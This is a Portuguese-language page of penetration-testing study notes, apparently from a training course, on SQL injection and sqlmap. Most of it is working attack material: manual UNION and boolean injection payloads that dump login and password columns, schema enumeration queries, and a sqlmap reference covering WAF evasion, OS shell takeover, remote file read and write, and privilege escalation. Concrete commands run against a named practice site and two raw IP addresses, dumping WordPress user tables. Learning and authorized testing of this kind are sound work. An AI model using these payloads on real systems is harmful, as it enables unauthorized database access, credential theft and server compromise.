Skip to main content

Sql Injection | Solyd One

  • Sql Injection, Bypass | Solyd One

danger

O sqlmap, possui a forma de inserir um web shell no servidor atráves das vulnerabilidades. Tem a opção de criar a própria webshell e passar no sql map

info

Bypass é o ato de contornar ou contornar medidas, controles ou protocolos de segurança implementados para obter acesso não autorizado ou atingir um objetivo. Isso geralmente é feito explorando vulnerabilidades, usando engenharia social, empregando ferramentas especializadas ou encontrando um caminho alternativo e menos seguro para um sistema de informação ou dados

Tipos de SQL Injection

In-band SQLi (SQLi Clássico) Nos ataques In-Band SQLi o ataque é feito diretamente pela aplicação web e a mesma serve como intermediária no ataque, tanto para a passagem de Querys quanto para o recebimento de informações do banco de dados. São os mais fáceis de serem explorados.

  • Error-based SQLi No ataque de Error-based, as informações coletadas do banco são informadas através de mensagens de erro propositalmente causadas para o vazamento de informações do banco.

  • Union-based SQLi Combina várias Querys de SELECT para resultar no vazamento de informações do banco.


Comandos

info

A partir do momento que encontrou o SQL Injection, os comandos abaixo serão de grande utilidade

Cheat Sheet de testadores booleanos

/cat.php?id=1' AND '1'='1
/cat.php?id=1' AND '1'='2

/*Validando a existência da tabela e se há dados*/
(SELECT 'a' FROM users LIMIT 1)='a

Inserção das aspas

TrackingId=xyz' AND '1'='2 # é IGUAL à
SELECT * FROM pedidos WHERE TrackingId = 'xyz' AND '1'='2';


Teste se contém SQL Injection

' OR 1=1-- # Insere no campo do formulário
/cat.php?id=1' # Na URL, apenas a ' já mostra se tem SQL Injection
danger

Esse comando pode revelar qual banco é usado conforme exemplo de um teste feito no banco.cn. Baseado nisso, já podemos afirmar ao sql map que o banco é um MySQL alt text


Cancelando o código da frente

' OR 1=1-- 
  • Em uma select como essa SELECT * FROM products WHERE category = 'Gifts' AND released = 1, e um URL como essa /filter?category= se passarmos o código acima conseguimos cancelar o released = 1
  • -- → cancela o código a frente

Descobrir quantas colunas

danger

IMPORTANTE

  • order by 1--: a cada número inserido, se aparecer algo quer dizer que existe a coluna e com isso descobrimos quantas colunas existem na tabela
# Exemplo
/cat.php?id=1 order by <numero>--
/filter?category=Corporate+gifts' order by 3--
  • Podemos usar essa seguinte combinação
# Aqui precisamos ir colocando NULL ou 'a' para descobrir as colunas
/filter?category=Corporate+gifts' UNION SELECT NULL, 'a'--


Unir selects

info

Precisar ter o mesmo número de colunas que o select anterior porque se não tiver irá dar erro

  • union select ..: une o select anterior ao novo que você deseja consultar
# Exemplo
/cat.php?id=1 union select 1,2,3

#Exemplo
filter?category=Gifts' UNION SELECT 'abc', banner FROM v$version--

Informações do banco

  • -1: cancelo o resultado da query
  • union select 1,2,<parametro>: preciso adicionar o número correto de colunas da tabela e consigo também outras informações
# Exemplo
/cat.php?id=-1 union select 1,2, <parametros>
  • database(): nome do banco de dados
  • @@version: versão do banco de dados

Informações de dentro da tabela

cat.php?id=-1 union select 1,2,group_concat(id,login,password) from <nome-banco>.<nome-tabela>

Case - Descobrir tabelas e colunas

  • Exemplo do postgres

  • Traz todas as tabelas que não estão nas tabelas padrão

union SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema NOT IN ('pg_catalog', 'information_schema')--
  • Traz os nomes das colunas
union SELECT COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'sua_tabela'--
  • Exemplo no Oracle

  • Traz todas as tabelas

union SELECT owner, table_name FROM all_tables WHERE owner NOT IN( 'SYS', 'SYSTEM', 'OUTLN', 'XDB', 'ORDSYS', 'MDSYS', 'CTXSYS', 'DBSNMP', 'APPQOSSYS', 'WMSYS', 'EXFSYS', 'ORDDATA', 'ORDPLUGINS', 'SI_INFORMTN_SCHEMA')--
  • Traz as colunas
SELECT COLUMN_NAME, DATA_TYPE FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

SQL Map

info

Os arquivos de logs ficam salvos em:

/home/kali/.local/share/sqlmap/output

sqlmap — sintaxe básica (modelo estilo socat)

sqlmap [opções] -u <URL alvo>
# ou
sqlmap [opções] --data="<dados POST>" --url="<URL>"
success

Sempre use os parâmetros de --random-agent para burlar o WAF, --threads, --level, --risk


Opções principais — alvo e requisição

  • -u <URL>, --url=<URL> → URL alvo (GET).
  • --data="<dados>" → corpo POST (testa parâmetros POST).
  • -p <param> → força teste apenas no(s) parâmetro(s) especificado(s) (ex.: -p id,name).
  • --param-exclude="<regex>" → excluir parâmetros por regex.
  • --cookie="<cookie>" → enviar cookie.
  • --headers="<Cabeçalhos>" → cabeçalhos HTTP adicionais (entre aspas).
  • --user-agent="<UA>" → user-agent customizado.
  • --random-agent → usar User-Agent aleatório.
  • --proxy=http://host:port → usar proxy.
  • --tor, --check-tor → usar Tor (se instalado) / checar Tor.
  • --timeout=<segundos> → tempo limite de requisição.
  • --retries=<n> → número de tentativas.
  • --dbms=<DBMS> → força o SGBD alvo (evita detecção automática).
      --dbms=MySQL
    --dbms=MariaDB
    --dbms=Oracle
    --dbms=PostgreSQL
    --dbms="Microsoft SQL Server"
    --dbms=MSSQL
    --dbms=SQLite
    --dbms="IBM DB2"
    --dbms=Firebird
    --dbms=Sybase
    --dbms="SAP MaxDB"
    --dbms=HSQLDB
    --dbms=Informix
    --dbms="Microsoft Access"
    --dbms=CockroachDB
    --dbms=TiDB
    --dbms="Percona Server"

Detecção e técnicas

  • -p <param> → especifica parâmetro a testar.

  • --level=<1-5> → profundidade dos testes (mais requisições conforme sobe).

  • --risk=<1-3> → risco de payloads (1 conservador → 3 agressivo).

  • --threads=<n> → paralelismo (padrão 1).

  • --batch → responder automaticamente (aceitar padrões) — modo não interativo.

  • --technique=<T> → técnicas a testar (combinação de letras: B boolean-based, E error-based, U UNION, S stacked, T time-based, Q inline query). Ex.: --technique=BEU.

    TécnicaCódigoDescriçãoMelhor uso
    Boolean-based blindBTesta condições verdadeiras/falsas para extrair dados bit a bitQuando não há mensagens de erro visíveis
    Time-based blindTMede o tempo de resposta (com SLEEP()) para inferir dadosQuando a aplicação não retorna erros ou conteúdo diferente
    Error-basedEUsa mensagens de erro SQL para extrair dados diretamenteQuando o banco retorna erros detalhados
    Union query-basedUInjeta uma instrução UNION SELECT para combinar dadosQuando é possível retornar resultados na página
    Stacked queriesSInjeta múltiplas instruções SQL separadas por ;Quando o banco permite múltiplas queries por requisição
    Inline queriesQInjeta subconsultas SQL em linhaMenos comum, depende da sintaxe aceita

Tempo / timing (nova seção)

  • --time-sec=<segundos> → tempo de espera usado em ataques time-based. Define quantos segundos o sqlmap deve aguardar para considerar que uma payload time-based (ex.: SLEEP()) provocou a condição verdadeira. Ex.: --time-sec=5 — considera que houve resposta positiva se o servidor demorar ~5s para responder. Útil para ajustar sensibilidade em conexões lentas.

  • --delay=<segundos> → intervalo entre cada requisição HTTP enviada pelo sqlmap. Reduz a taxa de requisições para não sobrecarregar o alvo ou evitar bloqueios/WAF/IPS. Ex.: --delay=2 — espera 2 segundos entre requisições.


Enumeração (informações do SGBD)

Quando você sabe a informação de alguma das propriedades

  • -D <db>, --db=<db> → selecionar banco de dados alvo (usado em --tables, --columns, --dump).
  • -T <table>, --tables=<table> → selecionar tabela alvo.
  • -C "colunas_separadas_virgulas".

Para descobrir informações

  • --dbs → listar bancos de dados.
  • --tables -D <db> → listar tabelas do banco <db>.
  • --columns -D <db> -T <table> ou --columns -D <db> -T <table> → listar colunas da tabela.
  • --count → contar resultados (usado junto a dumps).
  • --schema → obter schema/estrutura.
  • --users, --passwords → enumerar usuários e hashes (se aplicável).
  • --current-user, --current-db, --hostname → informações do servidor.
  • --exclude-sysdbs → ignorar bancos de sistema ao usar --dbs.

Extração / dump

  • --dump -D <db> -T <table> ou --dump -D <db> --tables -T <table> → extrair dados (tabela específica).
  • --dump-all → extrair todas as tabelas (pode ser muito demorado).
  • --start=<offset>, --stop=<offset> → paginar/extrair partes.
  • --where="<condição SQL>" → filtrar linhas ao extrair.
  • --skip=<n> → pular primeiros n resultados na extração.

Acesso ao sistema operacional / takeover (opções perigosas)

Atenção: essas ações podem ser intrusivas e ilegais sem autorização.

  • --os-shell → shell interativo no SO (quando possível).
  • --os-pwn → tenta ganhar controle do sistema (payloads de takeover).
  • --os-smbrelay → tentar relay SMB (avançado/dangerous).
  • --file-read=/caminho/arquivo → ler arquivo remoto.
  • --file-write=/local:remoto → enviar arquivo local para o servidor.
  • --priv-esc → tentar escalonamento de privilégios se aplicável.

Tamper / evasão e WAF

  • --tamper=<script1,script2,...> → usar scripts tamper para ofuscar payloads (ex.: --tamper=space2comment,between).
  • --identify-waf → identificar WAF/IDS.
  • --ignore-code=<códigos> → ignorar códigos HTTP específicos.

Autenticação e sessões

  • --auth-type=<BASIC|NTLM|...> → tipo de autenticação HTTP.
  • --auth-cred="<usuário:senha>" → credenciais HTTP.
  • --auth-file=<arquivo> → arquivo com credenciais.
  • --proxy-cred="<usuário:senha>" → credenciais para o proxy.
  • --safe-url=<url> → URL de teste "safe" para evitar logout/ações perigosas.
  • --safe-post=<dados> → corpo POST para --safe-url.
  • --flush-session → limpar sessão armazenada (força novos testes).
  • --resume → retomar sessão anterior (o sqlmap salva automaticamente com o nome do domínio).
    • -s <path> --resume → informa o diretorio a onde o arquivo está para ser carregado

Tuning / otimização

  • --union-cols=<n> → força número de colunas na técnica UNION.
  • --union-char=<char> → caracter usado para injeção UNION (quando necessário).
  • --skip=<n> → pular primeiros n resultados na extração (repetido intencionalmente onde aplicável).
  • --threads=<n> → paralelismo (repetido: afeta velocidade).

Saída / logging

  • -o → modo “optimize” (atalho, ativa várias opções padrão).
  • --output-dir=<pasta> → salvar resultados em pasta específica.
  • --batch → modo não interativo.
  • --answers="<prompt1=resp1,prompt2=resp2>" → respostas automáticas para prompts.
  • --verbosity=<0-6> → nível de verbosidade.

Scripts, utilitários e checagens

  • --wizard → assistente interativo (ajuda iniciantes).
  • --sql-shell → console SQL interativo (quando possível).
  • --check → checar se o alvo parece vulnerável sem profundidade.
  • --identify-waf → identificar WAF/IDS (repetido por ênfase).

Inserindo query diretamente

  • --sql-query:

    sqlmap -u "http://44.200.108.38/wordpress/wp-admin/admin-ajax.php" --data="action=spAjaxResults&pollid=2" --sql-query="SELECT column_name FROM information_schema.columns WHERE table_schema='Rookie' AND table_name='wp_users'"
  • --where:

    sqlmap -u "http://35.153.198.130/wordpress/wp-admin/admin-ajax.php" --data="action=spAjaxResults&pollid=2" --random-agent --time-sec=10 --threads=10 --dbms=mysql -D Rookie -T wp_users -C ID,user_url,user_pass,user_email,user_login,user_status,display_name,user_nicename,user_registered,user_activation_key --where="ID=(SELECT MAX(ID) FROM Rookie.wp_users)" --dump --batch
    --where="display_name='Estagiario'"

Snippet

## Descobrir números de colunas (ir colocando null até obtermos os valores)

+UNION+SELECT+NULL,NULL--

## Descobrir o tipo da coluna
## Você coloca o valor, ex: string na posição da coluna e vai testando campo por campo até dar certo

+UNION+SELECT+NULL,%27m8Jldd%27,NULL--


# Ataque ao banco.cn

sqlmap -u "http://www.bancocn.com/cat.php?id=1" -p id --dbms=mysql # -u = url, -p id = parâmetro é o id

sqlmap -u "http://www.bancocn.com/cat.php?id=1" -p id --dbms=mysql --batch --level=1 --risk=1 --dbs # batch = responde perguntas, --dbs = lista os bancos de dados

sqlmap -u "http://www.bancocn.com/cat.php?id=1" -p id -D NOME_DO_BANCO --tables
# ou
sqlmap -u "http://www.bancocn.com/cat.php?id=1" -p id -D information_schema --tables # Enumera as tabelas do banco information_schema